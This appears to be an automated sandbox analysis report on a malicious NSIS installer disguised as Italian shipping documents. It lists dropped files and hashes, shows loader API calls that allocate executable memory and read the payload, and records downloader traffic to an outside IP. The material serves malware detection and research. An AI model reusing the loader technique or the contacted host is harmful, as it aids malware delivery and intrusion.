SSDEEP:	1536:WQqatwb3BquFonZ0MZGDfw/Ams7/cTCDEhqR9:prwTBq1ZPGD4/xsDEh8
MD5:	1EF716DEB3AD336E09ABC68798EEFB78
SHA1:	15E56DD29E83D44626E46F219AA1EFC8FEC6FB73
SHA-256:	6401066B34D5FD3C9103C01112200E109A78A3DC584B7E55392B7A45020A76B0
SHA-512:	6BD0842FE87E9C7467249673485392D1A718B84A757BE8AB94F4323F5BE358C0975A7E5BC4F74AF2EF69F5DB46AD00DCE3DDA9BBD20C2A6CE9D364883A40E7F9
Malicious:	false
Reputation:	low
Preview:	...........................a.............o.................L........................................s..)..........................................E................./.................@....................................................?........................d.................................................................~..............................................T...................=..............................9....../......................0....H..............x.....................................7..........................................................N............7..................................................R...............R...................z.................................................`......................G...............................................................................`.....................~.........................-.........................................................................................................n.....................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Kavalerens188.equ

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	data
Category:	dropped
Size (bytes):	419878
Entropy (8bit):	1.2587845148762749
Encrypted:	false
SSDEEP:	1536:iKHVhskoaFMrwPuNqw8hbEZ1EvgaKCiIklf3:JHcP9+w8hb8IQ
MD5:	93C85B7E4C86F442491FF2D5F5B3FE0B
SHA1:	893EE5DC579DA377DCE95F9DECAF57438F967112
SHA-256:	7D60978D18793A119BB47B0D702E2D1EFAE28514EB46E9F96D75BB6FDA4ECF99
SHA-512:	A0D6B52554F688E47986FFA6B3885393F47A5D51895DC40219BDB1C838609755B1A801E446B926B44AB6C2F4B8A05A183D3C6BBF0D16CA84802CB5DBCA1581C9
Malicious:	false
Reputation:	low
Preview:	.............................................................R2..I...............y.......................................!.............................B....................... .................................@.......................d.....d..................................`........,......................m.....L......j......3....H....;.........................................~......s......................................................K...........................................Q.........G.................................................a..............$...............................Y.......s................p...................................................................................................................................................................D...............................................&.......................B..............................2........i...........................................................`...............................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Overhates.txt

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	513
Entropy (8bit):	4.312755423928167
Encrypted:	false
SSDEEP:	12:iN2DyKkMNtYdKYK90GbzE1gcaAy6AGb0CY3EoAAV:iYDZBGILeGzAy6jbts
MD5:	3A44600B8B24F5CC7EF13B014C5FC8E6
SHA1:	DABC64C2788C61476C159BF60E27A0385B761223
SHA-256:	037EE7216549B3D566F3D53E5801D45ADACF332F937FB43BD5A5E3F0DF9662A6
SHA-512:	02985E9F575B10700A6C8FE167DB6EBD81E1B8DE758DFAB47BB01AB7FE568525C17E933AA2DB98673E1A43EB3EF63CAB6E97D59FE1B1D52E3484737E0D9B4CBE
Malicious:	false
Reputation:	low
Preview:	radiatoporose psychophonasthenia byjubilum,sirrees kyserne meathead dormitorier unarbitrative siddembelets kilopondene..locomutation josies sketchene tordentalerne budcykler beaumont naphthous frkkert..stenddes incorporable billowing dorsilateral bogkrybberne staler shantungfrakkes affy jaspilite..hanbury lastede smrrebrdsbutikkers keloids lydighedsngtelsers mesokurtic defectless banenettenes brkmidlernes preceded undfangedes querela afstandsmaalers..alexipharmical egenvgte acarids descends compresbyter buy,

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid\Protaspis.sol

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	data
Category:	dropped
Size (bytes):	305301
Entropy (8bit):	1.2617727746454932
Encrypted:	false
SSDEEP:	768:OFl7dydtg1PEAqjKsB0peIl0LVJmpGgJQZwWmkYvYTDjBlqndyzkEV5ndnGVa76E:hdKCZmTCLm4TyycJrcYKLdL59NBGa
MD5:	EADA66A6285325455F7E0780C000CB65
SHA1:	125A71ABF2ADCCFE6E4BB3D7BF80CAC064F71690
SHA-256:	D1E27B338C60688975AE1BB239D860E30490A7FEB5AEB1DF1DAD87244DD073AC
SHA-512:	669BA190147018B4CBA35D6CDE23D00683E73DE0C70B60C1AA03EDEC2C7CC629DA73A7495DB05CF4151E100C339C76AFD87A3D179FE98045ED38B02A7A478FB1
Malicious:	false
Reputation:	low
Preview:	.....................................?...........................~.............u....................................................................C....m...............................6....................................?...............^.......n...............................................................................................................[........................................................R..].......................L....h.............................................................s...................................................,.............=.............6........................3.... ...K.................................?.Z.............\...7..8. ....................................................&......................y........................................................................@...................g..................f................w.................................................?........................u.....W.Z. ..........................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid\barbecue.ste

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	data
Category:	dropped
Size (bytes):	302102
Entropy (8bit):	1.2507376038892632
Encrypted:	false
SSDEEP:	768:+0WlDZ0cyMp2n0GbzqUGvbn/eHiEmNAXxM4cCQHkR1WuFkHnvVG26UZRR15NykM4:b0/vvkPqdcKMyJAnrZpdZ
MD5:	43EB990B1BE1B4570969A310174D319F
SHA1:	BEAE29DB714C0576F1BA9256E64F1A0A015B3E84
SHA-256:	6884CDA80715F73C9D9AA9AD45B9BDE3D9965D2009270BA685B30DD21421C04D
SHA-512:	C0FBE88619A7BC3BB8F6CBC8B77B4C1E21A2AFB8A92B1DF4324C20980C5CF6362CB75B7D065391437147BA746A933EBBD51167E4DF2B94477298A87331E15C75
Malicious:	false
Reputation:	low
Preview:	.............................................u..................$....................................G........H.................................................u'..................................{..........&...............................N......................................H.........S..............................................................M.............v.........................J..................................................................................B......................................`........q......................G....%.L...............%.........b.........................>.................................f..<.................................<...l..............P......].....................................d.....H........{......................>...............3........................................j......................................@..............v.............................L..........S................f....2................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid\paradiset.cho

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	data
Category:	dropped
Size (bytes):	398964
Entropy (8bit):	1.2601730304396117
Encrypted:	false
SSDEEP:	1536:qIRuZM0E+SCsypSaDWDKQreAN/Ge8+QM8+cj4WHOlXtZ:pRuPs3DKYc5+QM1KW
MD5:	34495288F83EB902AC00567354E11253
SHA1:	F421E0A307361C05A9534639D2B3A446F4673BAF
SHA-256:	F917E97748DEE607ABCC405FA70D7614B2F96675914B64AE7FD6AC299BCF220B
SHA-512:	E2DE646C75526DDA1B22AEBFF7B7991DEC89D351012FA21D925046EF5DD78ABD2D999ACAAE7C8BA33747480D3C921CDAB05D98839AF3A552063070A3B4C48496
Malicious:	false
Reputation:	low
Preview:	.................i....................9........T............................................................g....................................................................6...................?..............].Z.....................................................}...6..............................<....................................................:..x.............;...............P..m...h.........................................................................................................................O..............d....P...................w..........u....3.....................................................:.......^......m.................................................................................................X.............3...................................m.................................................4...L..............................................................................................G.................................1.........."..5...........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid\saddleback.jer

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	Matlab v4 mat-file (little endian) , numeric, rows 20224, columns 0
Category:	dropped
Size (bytes):	241857
Entropy (8bit):	1.2492742831199217
Encrypted:	false
SSDEEP:	768:kn4C0nabowYKKucVjMHtvH3Eq1Zg5c+0o4u1uLlOxRuYP9aVsVL/e3ec6Axhe7rO:zAzhHNuZla85OxXCm
MD5:	FB3375E7CB0698DF507062161A26885F
SHA1:	5E98C5E6F50A1B57B1E72B412D9632603FF954EF
SHA-256:	EB781B87F06CBBB43E36413F70A97528DFF827A3DA9575E56142324F9CF43477
SHA-512:	949FB9F863EB2EC85B84C4DB3E4EA023F1C3FC09CB79FE52B58569C616FC28F2E0D095DB535C3B80EF44CE4F75EA4752313F4F20A3E3A61E49163FCE8078B79B
Malicious:	false
Reputation:	low
Preview:	.....O..............c...>........................q....................r...................W............................................................................................................up........................r.................".............................................~...........9...............+.....................................................................................W...............Y..............................................k.....J................... ................................................R..................................................................................5...............T.........................................O..........^........x...........W.......Q......................:......H............+.................................................................6.................................7............w..........s......$...........9..................................................................*........................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\distortionless.Ska

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	data
Category:	dropped
Size (bytes):	387139
Entropy (8bit):	7.029080344859661
Encrypted:	false
SSDEEP:	6144:DKJqy+wdTormUTsLnezqBg7Eg/XicZi0Ikufi+k:DryBdETsLezqAXiUi+
MD5:	85FC6CABF335CE81CBAE00B602A9EEB1
SHA1:	ABE79A178FCFF6F54785BF739B5B3DA2C5DDD335
SHA-256:	0FE88C31B5927FF5D298B958B8249F73932CD0626BE40BC4F0C53E4C1FEE194B
SHA-512:	2E9B68C198E5A0D2BA42013FCB1EE49C3378916383EE6709E7D4E8CFF072D3778597BB0C89ACA44BF9A8551B8D5D92E7BB5ECE6D771710CBA7E1BC319A5A3D99
Malicious:	false
Reputation:	low
Preview:	.Q.......__...11111.ff.ff.~~~~.w..b................................;.W.333....B......................-........... ..............)...............nnn........v.....................77..SS....=====..LLLL.iiii.Q.``....KKKKK...............................{{....!..V.....a..............%..XX.................!....z..g..zz....iiiiii.................................FF..<<<...K..............X.............gggg..............```......................rr.........*.w..........zz..........<<..............1...;.......h...................J......qq........0.U.......................99........................@.......j...........~...................W............j........D..j.;.............2...........S..............................666...............[.............oo.]..................BBBB...x..............................>. ..HHH.........................r.....s........................_......yyyy.SSSSS....}}.........~............f...............................-.................W...AA...................JJJJJ.$

C:\Users\user\AppData\Local\Temp\nseFD4D.tmp

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	4.256564762130954
Encrypted:	false
SSDEEP:	3:DyWgLQIfLBJXmgU:mkIP25
MD5:	F15BFDEBB2DF02D02C8491BDE1B4E9BD
SHA1:	93BD46F57C3316C27CAD2605DDF81D6C0BDE9301
SHA-256:	C87F2FF45BB530577FB8856DF1760EDAF1060AE4EE2934B17FDD21B7D116F043
SHA-512:	1757ED4AE4D47D0C839511C18BE5D75796224D4A3049E2D8853650ACE2C5057C42040DE6450BF90DD4969862E9EBB420CD8A34F8DD9C970779ED2E5459E8F2F1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	user32::EnumWindows(i r1 ,i 0)

C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.7711167426271945
Encrypted:	false
SSDEEP:	192:OPtkumJX7zB22kGwfy0mtVgkCPOsX1un:/702k5qpdsXQn
MD5:	3F176D1EE13B0D7D6BD92E1C7A0B9BAE
SHA1:	FE582246792774C2C9DD15639FFA0ACA90D6FD0B
SHA-256:	FA4AB1D6F79FD677433A31ADA7806373A789D34328DA46CCB0449BBF347BD73E
SHA-512:	0A69124819B7568D0DEA4E9E85CE8FE61C7BA697C934E3A95E2DCFB9F252B1D9DA7FAF8774B6E8EFD614885507ACC94987733EBA09A2F5E7098B774DFC8524B6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: DHL AWB - COMMERCIAL INVOICE AND BL.exe, Detection: malicious, Browse Filename: Shipping Documents.bat.exe, Detection: malicious, Browse Filename: Oogoninia.exe, Detection: malicious, Browse Filename: Oogoninia.exe, Detection: malicious, Browse Filename: rStopfodringer.exe, Detection: malicious, Browse Filename: rStopfodringer.exe, Detection: malicious, Browse Filename: Transferencia 10-7-2024.exe, Detection: malicious, Browse Filename: Transferencia 10-7-2024.exe, Detection: malicious, Browse Filename: PEDIDO-144848.exe, Detection: malicious, Browse Filename: PEDIDO-144848.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L.....MX...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nshF5CB.tmp

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.250903860294566
Encrypted:	false
SSDEEP:	3:sAAEVvjsUjXRJ8VL84n:fLXrv8P
MD5:	1B6DC57065799BCB1BF29C6C14892FEA
SHA1:	6569CBC8651ADFD9A73667DE6915DE2FB17C45F0
SHA-256:	2C587AD3A444FDC29A480B76A140CC9ACE7CB887EB62B57073A2BA14B9E6C06A
SHA-512:	959C12B4407A8648091E0B754705C12AE0918A07D7E82BD1524DA3A74859409AC0DE0C32FAF0667A86D2A00B30F40CD743F7FE5E0D5D7BDFD4C27AECE86A4EB0
Malicious:	false
Preview:	kernel32::ReadFile(i r5, i r1, i 64999424,*i 0, i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsnEC44.tmp

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.456297888280895
Encrypted:	false
SSDEEP:	3:sEMBQEJkJVEjzXRJ2F3WxQoXUn:Uv2F3WxvUn
MD5:	2EB7EED4B759B0203446B88DB44C52E7
SHA1:	39392DA939C9F29AB79A0F71BA3DDE628E4F7449
SHA-256:	F87673D947A448A21D48AAA02C39AAD5EA28B8AD68CEAAC4A3A75DC5563558C5
SHA-512:	992D2B6E83165064D985D76B67A4021C944C97D6A8407DD1D7E44A9290A00E937EAD4ECB0ED2C7487A43797E3BE80D77C657DB663F3C423A6D351D51752D9C57
Malicious:	false
Preview:	kernel32::VirtualAlloc(i 0,i 64999424, i 0x3000, i 0x40)p.r1

C:\Users\user\AppData\Local\Temp\nspE389.tmp

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.0914493934217315
Encrypted:	false
SSDEEP:	3:sBa99k1NoCFOn:KankVg
MD5:	5D04A35D3950677049C7A0CF17E37125
SHA1:	CAFDD49A953864F83D387774B39B2657A253470F
SHA-256:	A9493973DD293917F3EBB932AB255F8CAC40121707548DE100D5969956BB1266
SHA-512:	C7B1AFD95299C0712BDBC67F9D2714926D6EC9F71909AF615AFFC400D8D2216AB76F6AC35057088836435DE36E919507E1B25BE87B07C911083F964EB67E003B
Malicious:	false
Preview:	kernel32::SetFilePointer(i r5, i 1200 , i 0,i 0)i.r3

C:\Users\user\AppData\Local\Temp\nstD5BB.tmp

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	74
Entropy (8bit):	3.9637832956585757
Encrypted:	false
SSDEEP:	3:sRQE1wFEt/ijNJyI3dj2+n:aQEGiwh3D
MD5:	16D513397F3C1F8334E8F3E4FC49828F
SHA1:	4EE15AFCA81CA6A13AF4E38240099B730D6931F0
SHA-256:	D3C781A1855C8A70F5ACA88D9E2C92AFFFA80541334731F62CAA9494AA8A0C36
SHA-512:	4A350B790FDD2FE957E9AB48D5969B217AB19FC7F93F3774F1121A5F140FF9A9EAAA8FA30E06A9EF40AD776E698C2E65A05323C3ADF84271DA1716E75F5183C3
Malicious:	false
Preview:	kernel32::CreateFileA(m r4 , i 0x80000000, i 0, p 0, i 4, i 0x80, i 0)i.r5

C:\Users\user\AppData\Local\Temp\nswCF23.tmp

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	data
Category:	dropped
Size (bytes):	2623208
Entropy (8bit):	2.6871493218639917
Encrypted:	false
SSDEEP:	12288:WryBdETsLezqAXiUinv0SMGP6gvBse+tJ:rBGTaezziUoYwBse+7
MD5:	AB67B6E0CF3F443E1232C647766CC6D5
SHA1:	761BD09E383907B0A575EC48F7E07C0243E39289
SHA-256:	39342F9D01E1A2E478A8484EEB2F1624C39E0A8F7528146C91C8A416F3A0A12F
SHA-512:	06F2D3B9CB14E5C0B76022FEEDBF130B8F5A58F35D559FBE1AF7802DB66A3439BDCC44B57570FEDA4EEA89B6D2504FAE331CDB3BB265AF8521DDDD5BAA5FE00E
Malicious:	false
Preview:	.@......,........................0.......?.......@..........................]...{...........................................................................................................................................................................................................J...N...............j...............................................................................................................................g...........................................................................L...".......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\forvredet.lnk

Download File

Process:	C:\Users\user\Desktop\Documenti di spedizione.bat.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.1387620248712413
Encrypted:	false
SSDEEP:	24:8JvaRkD4/BPefDbDLqizZYpbDyizZeiQ5HALqy:8oRkDsxy/DLqiNwDyiNlGAOy
MD5:	00B633B3058EB6B6ED779B0F83D7B527
SHA1:	7DF1967B9062572EB90E3FA55CA8E1F2A9452634
SHA-256:	45A8D19A59C6CD5A7EE6E1A547236CB0C816C4E0644A4605031A8EFFB45B56A4
SHA-512:	3FA7F8256017FC3E7DF736D634001AAC64120858F0171560993590FFA7B34EDC1FA39BA4E5A980A0EEE5E2D9D024E4D1AC195B300994E4CF0EC9114E4B544783
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................a.l.f.o.n.s.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....P.1...........Local.<............................................L.o.c.a.l.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....\.1...........INetCache.D............................................I.N.e.t.C.a.c.h.e.....n.2...........divergentes.pin.P............................................d.i.v.e.r.g.e.n.t.e.s...p.i.n.......;...\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.I.N.e.t.C.a.c.h.e.\.d.i.v.e.r.g.e.n.t.e.s...p.i.n.U.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.277864141975884
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Documenti di spedizione.bat.exe
File size:	1'007'169 bytes
MD5:	c2d72d131fe371481a0cc117bb835f23
SHA1:	dd736a4b716d790f1a3b304f265530399e0646aa
SHA256:	d5ee11c69acd2903e1d9b6f6b59aabbd66d9a38430fe4a020d48b18707afb9b8
SHA512:	79c15f7b54322f2843f203a99605b5cdfd6a0a3fe41bf9265808a266d1c68d099f3fab8354a0d87e53eb673b101ca211a422748c232c725cadb3f4ebf6c9ce39
SSDEEP:	24576:co8RUr/5+1z5qy4liClnpwWcw0r0ye66RnKUgGEM71KOx5hw:ch+/0qygxlpvAGOsKOm
TLSH:	0125F1E2F38045A6F4790936888BC2E152F0EDE29E421A57137CF36D1DB32D1465BDBA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F...v...F...@...F.Rich..F.........................PE..L...5.MX.................`.........

File Icon


Icon Hash:	2f6b71f16d4c71b3

Static PE Info

General

Entrypoint:	0x4032bf
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x584DCA35 [Sun Dec 11 21:50:45 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	4f67aeda01a0484282e8c59006b0b352

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409130h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [00407120h]
call dword ptr [004070ACh]
cmp ax, 00000006h
je 00007FF0F50165B3h
push ebx
call 00007FF0F5019539h
cmp eax, ebx
je 00007FF0F50165A9h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007FF0F50194B5h
push esi
call dword ptr [004070A8h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007FF0F501658Dh
push ebp
push 00000009h
call 00007FF0F501950Ch
push 00000007h
call 00007FF0F5019505h
mov dword ptr [00423724h], eax
call dword ptr [00407044h]
push ebx
call dword ptr [00407288h]
mov dword ptr [004237D8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041ECF0h
call dword ptr [00407174h]
push 004091ECh
push 00422F20h
call 00007FF0F501912Fh
call dword ptr [004070A4h]
mov ebp, 00429000h
push eax
push ebp
call 00007FF0F501911Dh
push ebx
call dword ptr [00407154h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7428	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x42ba0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e59	0x6000	1892c55874b94ef60ac62cf77f0ecd0e	False	0.6585693359375	data	6.424194540104456	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1246	0x1400	6389f916226544852e494114faf192ad	False	0.4271484375	data	5.0003960999706765	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1a818	0x400	f02c8b5709d3fb8c6cc1ab777c138d8f	False	0.6455078125	data	5.211928615453691	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x24000	0x23000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x47000	0x42ba0	0x42c00	cb7fd179fd9ca3f4757b01d96679c1b0	False	0.21076559573970038	data	3.8403807556058642	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x47208	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.20773293487587655
RT_DIALOG	0x89230	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x89378	0x100	data	English	United States	0.5234375
RT_DIALOG	0x89478	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x89598	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x895f8	0x14	data	English	United States	1.1
RT_VERSION	0x89610	0x24c	data	English	United States	0.5357142857142857
RT_MANIFEST	0x89860	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	CopyFileA, Sleep, GetTickCount, CreateFileA, GetFileSize, GetModuleFileNameA, ReadFile, GetFileAttributesA, SetFileAttributesA, ExitProcess, SetEnvironmentVariableA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, GetCurrentProcess, GetFullPathNameA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, GetTempFileNameA, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, lstrcpynA, SetErrorMode, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
USER32.dll	ScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-21T08:25:12.066632+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	64702	84.38.129.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 21, 2024 08:25:11.203861952 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:11.208935022 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:11.209048033 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:11.209271908 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:11.214044094 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.066445112 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.066463947 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.066476107 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.066488028 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.066500902 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.066512108 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.066632032 CEST	64702	80	192.168.2.5	84.38.129.16
Oct 21, 2024 08:25:12.193813086 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.193834066 CEST	80	64702	84.38.129.16	192.168.2.5
Oct 21, 2024 08:25:12.193845034 CEST	80	64702	84.38.129.16	192.168.2.5
